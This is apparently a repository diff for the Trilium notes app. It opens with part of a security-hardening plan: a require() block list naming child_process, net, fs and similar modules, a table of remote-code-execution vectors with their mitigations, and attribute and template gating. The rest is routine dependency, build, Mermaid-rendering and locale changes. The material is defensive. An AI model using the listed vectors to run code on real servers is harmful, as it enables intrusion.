"trilium:preact",
"trilium:api",
]);
// Modules that are BLOCKED even when scripting is enabled.
// These provide OS-level access that makes RCE trivial.
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
class ScriptContext {
// ... existing fields ...
require(moduleNoteIds: string[]) {
return (moduleName: string) => {
// First: check note-based modules (existing behavior)
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
const note = candidates.find((c) => c.title === moduleName);
if (note) {
return this.modules[note.noteId].exports;
}
// Second: check blocked list
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Third: allow if in whitelist, otherwise block
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
};
}
}
```
**Step 2: Verify TypeScript compiles, run tests**
**Step 3: Commit**
```
feat(security): restrict require() in script context to whitelisted modules
```
---
## Task 7: Filter dangerous attributes from sync
**Files:**
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
**Step 1: Add attribute filtering in `updateNormalEntity`**
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
```typescript
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import log from "./log.js";
// In updateNormalEntity, after preProcessContent:
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
// Prefix dangerous attributes when scripting is disabled, same as safeImport
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
}
}
```
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): filter dangerous attributes from sync when scripting is disabled
```
---
## Task 8: Restrict EJS share templates when scripting is disabled
**Files:**
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
**Step 1: Add scripting check before EJS rendering**
In `renderNoteContentInternal`, wrap the user template check:
```typescript
import { isScriptingEnabled } from "../services/scripting_guard.js";
// In renderNoteContentInternal, around lines 200-229:
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// ... existing EJS rendering code ...
}
```
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): skip user EJS share templates when scripting is disabled
```
---
## Task 9: Desktop auto-enable scripting
**Files:**
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
**Step 1: Auto-enable for desktop**
After the `config` object is built, add:
```typescript
import { isElectron } from "./utils.js";
// At the bottom, before export:
// Desktop builds always have scripting enabled (single-user trusted environment)
if (isElectron) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
```
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
**Step 2: Check if `isElectron` is available in config.ts scope**
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
**Step 3: Commit**
```
feat(security): auto-enable scripting for desktop builds
```
---
## Task 10: Add log warnings when scripting is enabled
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
**Step 1: Add startup log**
In the server startup path, after config is loaded:
```typescript
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
}
```
**Step 2: Commit**
```
feat(security): log warning when scripting is enabled at startup
```
---
## Summary of Protection Matrix
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|---|---|---|---|
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |

View File

@@ -59,7 +59,7 @@
"chalk": "5.6.2",
"cross-env": "10.1.0",
"dpdm": "4.0.1",
"esbuild": "0.27.5",
"esbuild": "0.28.0",
"eslint": "10.1.0",
"eslint-config-preact": "2.0.0",
"eslint-config-prettier": "10.1.8",

View File

@@ -16,12 +16,7 @@
"node": ">=18.0.0",
"npm": ">=5.7.1"
},
"files": [
"dist",
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -43,9 +38,6 @@
"author": "Elian Doran <contact@eliandoran.me>",
"license": "GPL-2.0-or-later",
"scripts": {
"build": "node ./scripts/build-dist.mjs",
"ts:build": "tsc -p ./tsconfig.release.json",
"ts:clear": "npx rimraf --glob \"src/**/*.@(js|d.ts)\"",
"lint": "eslint \"**/*.{js,ts}\" --quiet",
"stylelint": "stylelint --quiet --allow-empty-input 'theme/**/*.css'",
"test": "vitest",

View File

@@ -1,47 +0,0 @@
#!/usr/bin/env node
/**
* @license Copyright (c) 2020-2024, CKSource Holding sp. z o.o. All rights reserved.
* For licensing, see LICENSE.md.
*/
/* eslint-env node */
import { createRequire } from 'module';
import upath from 'upath';
import chalk from 'chalk';
import { build } from '@ckeditor/ckeditor5-dev-build-tools';
function dist( path ) {
return upath.join( 'dist', path );
}
( async () => {
const tsconfig = 'tsconfig.dist.ckeditor5.json';
/**
* Step 1
*/
console.log( chalk.cyan( '1/2: Generating NPM build...' ) );
const require = createRequire( import.meta.url );
const pkg = require( upath.resolve( process.cwd(), './package.json' ) );
await build( {
input: 'src/index.ts',
output: dist( './index.js' ),
tsconfig: 'tsconfig.dist.json',
external: [
'ckeditor5',
'ckeditor5-premium-features',
...Object.keys( {
...pkg.dependencies,
...pkg.peerDependencies
} )
],
clean: true,
sourceMap: true,
declarations: true,
translations: '**/*.po'
} );
} )();

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"module": "ESNext",
"moduleResolution": "bundler",
"rootDir": "./src",
"composite": false,
"types": [
"../typings/types.d.ts"
]
}
}

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": false,
"declaration": true
},
"exclude": [
"./tests/",
"./src",
"./sample/"
]
}

View File

@@ -17,12 +17,7 @@
"node": ">=18.0.0",
"npm": ">=5.7.1"
},
"files": [
"dist",
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -42,9 +37,6 @@
"ckeditor5": "48.0.0"
},
"scripts": {
"build": "node ./scripts/build-dist.mjs",
"ts:build": "tsc -p ./tsconfig.release.json",
"ts:clear": "npx rimraf --glob \"src/**/*.@(js|d.ts)\"",
"lint": "eslint \"**/*.{js,ts}\" --quiet",
"stylelint": "stylelint --quiet --allow-empty-input 'theme/**/*.css'",
"test": "vitest",

View File

@@ -1,47 +0,0 @@
#!/usr/bin/env node
/**
* @license Copyright (c) 2020-2024, CKSource Holding sp. z o.o. All rights reserved.
* For licensing, see LICENSE.md.
*/
/* eslint-env node */
import { createRequire } from 'module';
import upath from 'upath';
import chalk from 'chalk';
import { build } from '@ckeditor/ckeditor5-dev-build-tools';
function dist( path ) {
return upath.join( 'dist', path );
}
( async () => {
const tsconfig = 'tsconfig.dist.ckeditor5.json';
/**
* Step 1
*/
console.log( chalk.cyan( '1/2: Generating NPM build...' ) );
const require = createRequire( import.meta.url );
const pkg = require( upath.resolve( process.cwd(), './package.json' ) );
await build( {
input: 'src/index.ts',
output: dist( './index.js' ),
tsconfig: 'tsconfig.dist.json',
external: [
'ckeditor5',
'ckeditor5-premium-features',
...Object.keys( {
...pkg.dependencies,
...pkg.peerDependencies
} )
],
clean: true,
sourceMap: true,
declarations: true,
translations: '**/*.po'
} );
} )();

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"module": "ESNext",
"moduleResolution": "bundler",
"rootDir": "./src",
"composite": false,
"types": [
"../typings/types.d.ts"
]
}
}

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": false,
"declaration": true
},
"exclude": [
"./tests/",
"./src",
"./sample/"
]
}

View File

@@ -19,12 +19,7 @@
"node": ">=18.0.0",
"npm": ">=5.7.1"
},
"files": [
"dist",
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -44,9 +39,6 @@
"ckeditor5": "48.0.0"
},
"scripts": {
"build": "node ./scripts/build-dist.mjs",
"ts:build": "tsc -p ./tsconfig.release.json",
"ts:clear": "npx rimraf --glob \"src/**/*.@(js|d.ts)\"",
"lint": "eslint \"**/*.{js,ts}\" --quiet",
"stylelint": "stylelint --quiet --allow-empty-input 'theme/**/*.css'",
"test": "vitest",

View File

@@ -1,47 +0,0 @@
#!/usr/bin/env node
/**
* @license Copyright (c) 2020-2024, CKSource Holding sp. z o.o. All rights reserved.
* For licensing, see LICENSE.md.
*/
/* eslint-env node */
import { createRequire } from 'module';
import upath from 'upath';
import chalk from 'chalk';
import { build } from '@ckeditor/ckeditor5-dev-build-tools';
function dist( path ) {
return upath.join( 'dist', path );
}
( async () => {
const tsconfig = 'tsconfig.dist.ckeditor5.json';
/**
* Step 1
*/
console.log( chalk.cyan( '1/2: Generating NPM build...' ) );
const require = createRequire( import.meta.url );
const pkg = require( upath.resolve( process.cwd(), './package.json' ) );
await build( {
input: 'src/index.ts',
output: dist( './index.js' ),
tsconfig: 'tsconfig.dist.json',
external: [
'ckeditor5',
'ckeditor5-premium-features',
...Object.keys( {
...pkg.dependencies,
...pkg.peerDependencies
} )
],
clean: true,
sourceMap: true,
declarations: true,
translations: '**/*.po'
} );
} )();

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"module": "ESNext",
"moduleResolution": "bundler",
"rootDir": "./src",
"composite": false,
"types": [
"../typings/types.d.ts"
]
}
}

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": false,
"declaration": true
},
"exclude": [
"./tests/",
"./src",
"./sample/"
]
}

View File

@@ -19,12 +19,7 @@
"node": ">=18.0.0",
"npm": ">=5.7.1"
},
"files": [
"dist",
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -44,9 +39,6 @@
"ckeditor5": "48.0.0"
},
"scripts": {
"build": "node ./scripts/build-dist.mjs",
"ts:build": "tsc -p ./tsconfig.release.json",
"ts:clear": "npx rimraf --glob \"src/**/*.@(js|d.ts)\"",
"lint": "eslint \"**/*.{js,ts}\" --quiet",
"stylelint": "stylelint --quiet --allow-empty-input 'theme/**/*.css'",
"test": "vitest",

View File

@@ -1,47 +0,0 @@
#!/usr/bin/env node
/**
* @license Copyright (c) 2020-2024, CKSource Holding sp. z o.o. All rights reserved.
* For licensing, see LICENSE.md.
*/
/* eslint-env node */
import { createRequire } from 'module';
import upath from 'upath';
import chalk from 'chalk';
import { build } from '@ckeditor/ckeditor5-dev-build-tools';
function dist( path ) {
return upath.join( 'dist', path );
}
( async () => {
const tsconfig = 'tsconfig.dist.ckeditor5.json';
/**
* Step 1
*/
console.log( chalk.cyan( '1/2: Generating NPM build...' ) );
const require = createRequire( import.meta.url );
const pkg = require( upath.resolve( process.cwd(), './package.json' ) );
await build( {
input: 'src/index.ts',
output: dist( './index.js' ),
tsconfig: 'tsconfig.dist.json',
external: [
'ckeditor5',
'ckeditor5-premium-features',
...Object.keys( {
...pkg.dependencies,
...pkg.peerDependencies
} )
],
clean: true,
sourceMap: true,
declarations: true,
translations: '**/*.po'
} );
} )();

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"module": "ESNext",
"moduleResolution": "bundler",
"rootDir": "./src",
"composite": false,
"types": [
"../typings/types.d.ts"
]
}
}

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": false,
"declaration": true
},
"exclude": [
"./tests/",
"./src",
"./sample/"
]
}

View File

@@ -8,3 +8,6 @@ sample/ckeditor.dist.js
# Ignore compiled TypeScript files.
src/**/*.js
src/**/*.d.ts
.vitest-attachments
tests/__screenshots__

View File

@@ -19,12 +19,7 @@
"node": ">=18.0.0",
"npm": ">=5.7.1"
},
"files": [
"dist",
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -44,16 +39,9 @@
"ckeditor5": "48.0.0"
},
"scripts": {
"build": "node ./scripts/build-dist.mjs",
"ts:build": "tsc -p ./tsconfig.release.json",
"ts:clear": "npx rimraf --glob \"src/**/*.@(js|d.ts)\"",
"lint": "eslint \"**/*.{js,ts}\" --quiet",
"stylelint": "stylelint --quiet --allow-empty-input 'theme/**/*.css'",
"test": "vitest",
"test:debug": "vitest --inspect-brk --no-file-parallelism --browser.headless=false"
},
"dependencies": {
"@types/lodash-es": "4.17.12",
"lodash-es": "4.18.1"
}
}

View File

@@ -1,47 +0,0 @@
#!/usr/bin/env node
/**
* @license Copyright (c) 2020-2024, CKSource Holding sp. z o.o. All rights reserved.
* For licensing, see LICENSE.md.
*/
/* eslint-env node */
import { createRequire } from 'module';
import upath from 'upath';
import chalk from 'chalk';
import { build } from '@ckeditor/ckeditor5-dev-build-tools';
function dist( path ) {
return upath.join( 'dist', path );
}
( async () => {
const tsconfig = 'tsconfig.dist.ckeditor5.json';
/**
* Step 1
*/
console.log( chalk.cyan( '1/2: Generating NPM build...' ) );
const require = createRequire( import.meta.url );
const pkg = require( upath.resolve( process.cwd(), './package.json' ) );
await build( {
input: 'src/index.ts',
output: dist( './index.js' ),
tsconfig: 'tsconfig.dist.json',
external: [
'ckeditor5',
'ckeditor5-premium-features',
...Object.keys( {
...pkg.dependencies,
...pkg.peerDependencies
} )
],
clean: true,
sourceMap: true,
declarations: true,
translations: '**/*.po'
} );
} )();

View File

@@ -5,7 +5,8 @@ import MermaidUI from './mermaidui.js';
declare global {
interface MermaidInstance {
init(config: MermaidConfig, element: HTMLElement): void;
initialize(config: MermaidConfig): void;
render(id: string, source: string): Promise<{ svg: string }>;
}
interface MermaidConfig {

View File

@@ -2,13 +2,13 @@
* @module mermaid/mermaidediting
*/
import { debounce } from 'lodash-es';
import MermaidPreviewCommand from './commands/mermaidPreviewCommand.js';
import MermaidSourceViewCommand from './commands/mermaidSourceViewCommand.js';
import MermaidSplitViewCommand from './commands/mermaidSplitViewCommand.js';
import InsertMermaidCommand from './commands/insertMermaidCommand.js';
import { DowncastAttributeEvent, DowncastConversionApi, EditorConfig, ModelElement, EventInfo, ModelItem, ModelNode, Plugin, toWidget, UpcastConversionApi, UpcastConversionData, ViewElement, ViewText, ViewUIElement } from 'ckeditor5';
import { DowncastAttributeEvent, DowncastConversionApi, EditorConfig, ModelElement, EventInfo, ModelItem, ModelNode, Plugin, toWidget, uid, UpcastConversionApi, UpcastConversionData, ViewElement, ViewText, ViewUIElement } from 'ckeditor5';
import { debounce } from './utils.js';
// Time in milliseconds.
const DEBOUNCE_TIME = 300;
@@ -20,7 +20,8 @@ type DowncastConversionData = DowncastAttributeEvent["args"][0];
export default class MermaidEditing extends Plugin {
private _config!: EditorConfig["mermaid"];
private mermaid?: MermaidInstance;
private _mermaidPromise?: Promise<MermaidInstance>;
private _renderGeneration = 0;
/**
* @inheritDoc
@@ -179,16 +180,10 @@ export default class MermaidEditing extends Plugin {
}
function createMermaidPreview(this: ViewUIElement, domDocument: Document ) {
// Taking the text from the wrapper container element for now
const mermaidSource = data.item.getAttribute( 'source' ) as string;
const domElement = this.toDomElement( domDocument );
domElement.textContent = mermaidSource;
window.setTimeout( () => {
// @todo: by the looks of it the domElement needs to be hooked to tree in order to allow for rendering.
that._renderMermaid( domElement );
}, 100 );
that._renderMermaid( domElement, mermaidSource );
return domElement;
}
@@ -219,10 +214,7 @@ export default class MermaidEditing extends Plugin {
const domPreviewWrapper = domConverter.viewToDom(child);
if ( domPreviewWrapper ) {
domPreviewWrapper.textContent = newSource;
domPreviewWrapper.removeAttribute( 'data-processed' );
this._renderMermaid( domPreviewWrapper );
this._renderMermaid( domPreviewWrapper, newSource );
}
}
}
@@ -263,14 +255,36 @@ export default class MermaidEditing extends Plugin {
}
/**
* Renders Mermaid in a given `domElement`. Expect this domElement to have mermaid
* source set as text content.
* Renders Mermaid (a parsed `source`) in a given `domElement`.
*/
async _renderMermaid( domElement: HTMLElement ) {
if (!window.mermaid && typeof this._config?.lazyLoad === "function") {
this.mermaid = await this._config.lazyLoad();
async _renderMermaid( domElement: HTMLElement, source: string ) {
if ( !this._mermaidPromise && typeof this._config?.lazyLoad === 'function' ) {
this._mermaidPromise = Promise.resolve( this._config.lazyLoad() ).then( instance => {
instance.initialize( this._config?.config ?? {} );
return instance;
} );
}
this.mermaid?.init( this._config?.config ?? {}, domElement );
const mermaid = await this._mermaidPromise;
if ( !mermaid ) {
return;
}
const generation = ++this._renderGeneration;
const id = `ck-mermaid-${ uid() }`;
try {
const { svg } = await mermaid.render( id, source );
if ( generation === this._renderGeneration ) {
domElement.innerHTML = svg;
}
} catch ( err: any ) {
if ( generation === this._renderGeneration ) {
domElement.innerText = err.message;
}
document.getElementById( id )?.remove();
}
}
}

View File

@@ -5,6 +5,16 @@
import { Editor } from "ckeditor5";
export function debounce<T extends (...args: any[]) => void>( fn: T, waitMs: number ): T {
let timeout: ReturnType<typeof setTimeout> | null = null;
return function( this: unknown, ...args: Parameters<T> ) {
if ( timeout ) {
clearTimeout( timeout );
}
timeout = setTimeout( () => fn.apply( this, args ), waitMs );
} as T;
}
/**
* Helper function for setting the `isOn` state of buttons.
*

View File

@@ -1,8 +1,6 @@
import { ClassicEditor, Essentials, Paragraph, Heading, CodeBlockEditing, _setModelData as setModelData, _getModelData as getModelData, _getViewData as getViewData } from 'ckeditor5';
import { ClassicEditor, Essentials, Paragraph, Heading, CodeBlockEditing, ViewElement, _setModelData as setModelData, _getModelData as getModelData, _getViewData as getViewData } from 'ckeditor5';
import MermaidEditing from '../src/mermaidediting.js';
import { afterEach, beforeEach, describe, it } from 'vitest';
import { expect } from 'vitest';
import { vi } from 'vitest';
import { afterEach, beforeEach, describe, it, expect, vi, type MockInstance } from 'vitest';
/* global document */
@@ -12,7 +10,7 @@ describe( 'MermaidEditing', () => {
} );
describe( 'conversion', () => {
let domElement, editor, model;
let domElement: HTMLDivElement, editor: ClassicEditor, model: ClassicEditor['model'];
beforeEach( async () => {
domElement = document.createElement( 'div' );
@@ -154,7 +152,7 @@ describe( 'MermaidEditing', () => {
} );
describe( 'textarea value', () => {
let domTextarea = null;
let domTextarea: HTMLTextAreaElement;
beforeEach( () => {
// Using editor.setData() instead of setModelData helper because of #11365.
@@ -164,8 +162,8 @@ describe( 'MermaidEditing', () => {
'</pre>'
);
const textareaView = editor.editing.view.document.getRoot().getChild( 0 ).getChild( 1 );
domTextarea = editor.editing.view.domConverter.viewToDom( textareaView );
const textareaView = editor.editing.view.document.getRoot()!.getChild( 0 )! as ViewElement;
domTextarea = editor.editing.view.domConverter.viewToDom( textareaView.getChild( 1 )! ) as HTMLTextAreaElement;
} );
it( 'is properly set during the initial conversion', () => {
@@ -175,7 +173,7 @@ describe( 'MermaidEditing', () => {
it( 'is properly updated after model\'s attribute change', () => {
const { model } = editor;
const mermaidModel = model.document.getRoot().getChild( 0 );
const mermaidModel = model.document.getRoot()!.getChild( 0 )!;
model.change( writer => {
writer.setAttribute( 'source', 'abc', mermaidModel );
@@ -187,7 +185,7 @@ describe( 'MermaidEditing', () => {
it( 'doesn\'t loop if model attribute changes to the same value', () => {
const { model } = editor;
const mermaidModel = model.document.getRoot().getChild( 0 );
const mermaidModel = model.document.getRoot()!.getChild( 0 )!;
model.change( writer => {
writer.setAttribute( 'source', 'flowchart TB\nA --> B\nB --> C', mermaidModel );
@@ -198,9 +196,12 @@ describe( 'MermaidEditing', () => {
} );
describe( 'preview div', () => {
let domPreviewContainer, renderMermaidStub;
let domPreviewContainer: HTMLElement;
let renderMermaidStub: MockInstance;
beforeEach( () => {
renderMermaidStub = vi.spyOn( editor.plugins.get( 'MermaidEditing' ) as unknown as MermaidEditing, '_renderMermaid' );
// Using editor.setData() instead of setModelData helper because of #11365.
editor.setData(
'<pre spellcheck="false">' +
@@ -208,42 +209,31 @@ describe( 'MermaidEditing', () => {
'</pre>'
);
const previewContainerView = editor.editing.view.document.getRoot().getChild( 0 ).getChild( 2 );
domPreviewContainer = editor.editing.view.domConverter.viewToDom( previewContainerView );
renderMermaidStub = vi.spyOn( editor.plugins.get( 'MermaidEditing' ), '_renderMermaid' );
const wrapperView = editor.editing.view.document.getRoot()!.getChild( 0 )! as ViewElement;
const previewContainerView = wrapperView.getChild( 2 )!;
domPreviewContainer = editor.editing.view.domConverter.viewToDom( previewContainerView ) as HTMLElement;
} );
afterEach( () => {
vi.clearAllMocks();
} );
it( 'has proper inner text set during the initial conversion', () => {
expect( domPreviewContainer.textContent ).to.equal( 'flowchart TB\nA --> B\nB --> C' );
it( 'calls render with source during the initial conversion', () => {
expect( renderMermaidStub ).toBeCalledWith( domPreviewContainer, 'flowchart TB\nA --> B\nB --> C' );
} );
it( 'has proper inner text set after a model\'s attribute change', () => {
it( 'calls render with updated source after a model\'s attribute change', () => {
const { model } = editor;
const mermaidModel = model.document.getRoot().getChild( 0 );
renderMermaidStub.mockClear();
const mermaidModel = model.document.getRoot()!.getChild( 0 )!;
model.change( writer => {
writer.setAttribute( 'source', 'abc', mermaidModel );
} );
expect( domPreviewContainer.textContent ).to.equal( 'abc' );
} );
it( 'calls mermaid render function after a model\'s attribute change', () => {
const { model } = editor;
const mermaidModel = model.document.getRoot().getChild( 0 );
model.change( writer => {
writer.setAttribute( 'source', 'abc', mermaidModel );
} );
expect(renderMermaidStub).toBeCalledWith(domPreviewContainer);
expect( renderMermaidStub ).toBeCalledWith( domPreviewContainer, 'abc' );
} );
} );
} );
@@ -251,7 +241,7 @@ describe( 'MermaidEditing', () => {
it( 'adds a editing pipeline converter that has a precedence over code block', () => {
setModelData( editor.model, '<mermaid source="foo"></mermaid>' );
const firstViewChild = editor.editing.view.document.getRoot().getChild( 0 );
const firstViewChild = editor.editing.view.document.getRoot()!.getChild( 0 ) as ViewElement;
expect( firstViewChild.name ).to.equal( 'div' );
expect( firstViewChild.hasClass( 'ck-mermaid__wrapper' ), 'has ck-mermaid__wrapper class' ).to.be.true;
@@ -260,7 +250,7 @@ describe( 'MermaidEditing', () => {
it( 'does not convert code blocks other than mermaid language', () => {
setModelData( editor.model, '<codeBlock language="javascript">foo</codeBlock>' );
const firstViewChild = editor.editing.view.document.getRoot().getChild( 0 );
const firstViewChild = editor.editing.view.document.getRoot()!.getChild( 0 ) as ViewElement;
expect( firstViewChild.name ).not.to.equal( 'div' );
expect( firstViewChild.hasClass( 'ck-mermaid__wrapper' ), 'has ck-mermaid__wrapper class' ).to.be.false;
@@ -269,7 +259,8 @@ describe( 'MermaidEditing', () => {
it( 'adds a preview element', () => {
setModelData( editor.model, '<mermaid source="foo"></mermaid>' );
const widgetChildren = [ ...editor.editing.view.document.getRoot().getChild( 0 ).getChildren() ];
const widget = editor.editing.view.document.getRoot()!.getChild( 0 ) as ViewElement;
const widgetChildren = [ ...widget.getChildren() ] as ViewElement[];
const previewView = widgetChildren.filter( item => item.name === 'div' && item.hasClass( 'ck-mermaid__preview' ) );
expect( previewView.length ).to.equal( 1 );
@@ -278,7 +269,8 @@ describe( 'MermaidEditing', () => {
it( 'adds an editing element', () => {
setModelData( editor.model, '<mermaid source="foo"></mermaid>' );
const widgetChildren = [ ...editor.editing.view.document.getRoot().getChild( 0 ).getChildren() ];
const widget = editor.editing.view.document.getRoot()!.getChild( 0 ) as ViewElement;
const widgetChildren = [ ...widget.getChildren() ] as ViewElement[];
const previewView = widgetChildren.filter(
item => item.name === 'textarea' && item.hasClass( 'ck-mermaid__editing-view' )
);

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"module": "ESNext",
"moduleResolution": "bundler",
"rootDir": "./src",
"composite": false,
"types": [
"../typings/types.d.ts"
]
}
}

View File

@@ -1,12 +0,0 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": false,
"declaration": true
},
"exclude": [
"./tests/",
"./src",
"./sample/"
]
}

View File

@@ -25,6 +25,11 @@ const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, LocaleMapping | null> = {
coreTranslation: () => import("ckeditor5/translations/zh-cn.js"),
premiumFeaturesTranslation: () => import("ckeditor5-premium-features/translations/zh-cn.js"),
},
cs: {
languageCode: "cs",
coreTranslation: () => import("ckeditor5/translations/cs.js"),
premiumFeaturesTranslation: () => import("ckeditor5-premium-features/translations/cs.js"),
},
de: {
languageCode: "de",
coreTranslation: () => import("ckeditor5/translations/de.js"),

View File

@@ -52,7 +52,7 @@
"codemirror-lang-elixir": "4.0.1",
"codemirror-lang-hcl": "0.1.0",
"codemirror-lang-mermaid": "0.5.0",
"@eslint/js": "9.39.4",
"@eslint/js": "10.0.1",
"eslint-linter-browserify": "10.1.0",
"globals": "17.4.0"
}

View File

@@ -19,7 +19,6 @@ export default [
{ type: "label", name: "runOnInstance", isDangerous: false },
{ type: "label", name: "runAtHour", isDangerous: false },
{ type: "label", name: "customRequestHandler", isDangerous: true },
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
{ type: "label", name: "customResourceProvider", isDangerous: true },
{ type: "label", name: "widget", isDangerous: true },
{ type: "label", name: "noteInfoWidgetDisabled" },
@@ -108,8 +107,8 @@ export default [
{ type: "relation", name: "widget", isDangerous: true },
{ type: "relation", name: "renderNote", isDangerous: true },
{ type: "relation", name: "shareCss" },
{ type: "relation", name: "shareJs", isDangerous: true },
{ type: "relation", name: "shareJs" },
{ type: "relation", name: "shareHtml" },
{ type: "relation", name: "shareTemplate", isDangerous: true },
{ type: "relation", name: "shareTemplate" },
{ type: "relation", name: "shareFavicon" }
];

View File

@@ -34,6 +34,7 @@ dayjs.extend(utc);
export const DAYJS_LOADER: Record<LOCALE_IDS, () => Promise<typeof import("dayjs/locale/en.js")>> = {
"ar": () => import("dayjs/locale/ar.js"),
"cn": () => import("dayjs/locale/zh-cn.js"),
"cs": () => import("dayjs/locale/cs.js"),
"de": () => import("dayjs/locale/de.js"),
"en": () => import("dayjs/locale/en.js"),
"en-GB": () => import("dayjs/locale/en-gb.js"),

View File

@@ -10,12 +10,13 @@ export interface Locale {
/** The value to pass to `--lang` for the Electron instance in order to set it as a locale. Not setting it will hide it from the list of supported locales. */
electronLocale?: "en" | "de" | "es" | "fr" | "zh_CN" | "zh_TW" | "ro" | "af" | "am" | "ar" | "bg" | "bn" | "ca" | "cs" | "da" | "el" | "en_GB" | "es_419" | "et" | "fa" | "fi" | "fil" | "gu" | "he" | "hi" | "hr" | "hu" | "id" | "it" | "ja" | "kn" | "ko" | "lt" | "lv" | "ml" | "mr" | "ms" | "nb" | "nl" | "pl" | "pt_BR" | "pt_PT" | "ru" | "sk" | "sl" | "sr" | "sv" | "sw" | "ta" | "te" | "th" | "tr" | "uk" | "ur" | "vi";
/** The Tesseract OCR language code for this locale (e.g. "eng", "fra", "deu"). See https://tesseract-ocr.github.io/tessdoc/Data-Files-in-different-versions.html */
tesseractCode?: "eng" | "deu" | "spa" | "fra" | "gle" | "ita" | "hin" | "jpn" | "por" | "pol" | "ron" | "rus" | "chi_sim" | "chi_tra" | "ukr" | "ara" | "heb" | "kur" | "fas" | "kor";
